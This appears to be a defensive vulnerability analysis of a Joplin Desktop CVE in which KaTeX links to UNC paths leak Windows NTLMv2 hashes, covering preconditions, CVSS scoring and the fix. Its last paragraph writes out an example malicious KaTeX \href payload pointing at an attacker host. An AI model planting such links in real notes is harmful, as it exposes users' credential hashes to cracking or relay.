Joplin CVE-2026-49449

Requires the victim to run Joplin Desktop on Windows (the NTLMv2/SMB credential leak is Windows-specific), the attacker to deliver a note they authored containing a KaTeX \href/\url pointing at an attacker-controlled UNC/file:// path (via shared notebook, sync, or note import), and the victim to actively click the rendered link. Exploitation is limited by AC:H (attacker must control an SMB endpoint and rely on Windows auto-authenticating to the UNC path) and UI:R (an explicit victim click is needed); it does not work against non-Windows platforms and is fully remediated in Joplin 3.7.2 where KaTeX trust is restricted to http(s)/mailto/joplin://anchor schemes.

This is a genuinely low-priority issue whose signals are internally consistent. The vendor CVSS of 2.5 (AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) reflects a narrow information-disclosure flaw: only confidentiality is affected and only at Low, because the leaked artifact is an NTLMv2 challenge-response (an offline-crackable hash, not a plaintext credential). No EPSS score, CISA KEV entry, or public POC was provided, so the exploitation status is 'no public exploit identified at time of analysis.' The security-advisory-driven fix (GHSA-9m2r-pv96-jxr3, PR #15538) confirms the mechanism but not any observed exploitation. One notable tension: the vendor rates AV:L, yet the realistic attack is remote - a malicious note is delivered via Joplin sync/sharing/import and the NTLMv2 material is captured by a remote attacker-controlled SMB server, which argues for AV:N. I flag this as a vendor/analyst disagreement rather than treating AV:L as settled. The AC:H, UI:R, and Windows-only constraints keep real-world risk low regardless of the AV interpretation.

An attacker crafts a Joplin note containing a KaTeX expression such as $\href{file://attacker.example.com/share/x.txt}{click}$, which bypasses Joplin's normal Markdown URL allowlist because KaTeX's trust option is enabled unconditionally. The victim, running Joplin on Windows, opens the shared/synced note and clicks the rendered link; pathExists() on the UNC target triggers outbound SMB authentication that discloses the victim's NTLMv2 challenge-response to the attacker's server for offline cracking or relay. No public exploit code is identified, though the fix commit includes a test harness demonstrating which schemes were previously accepted.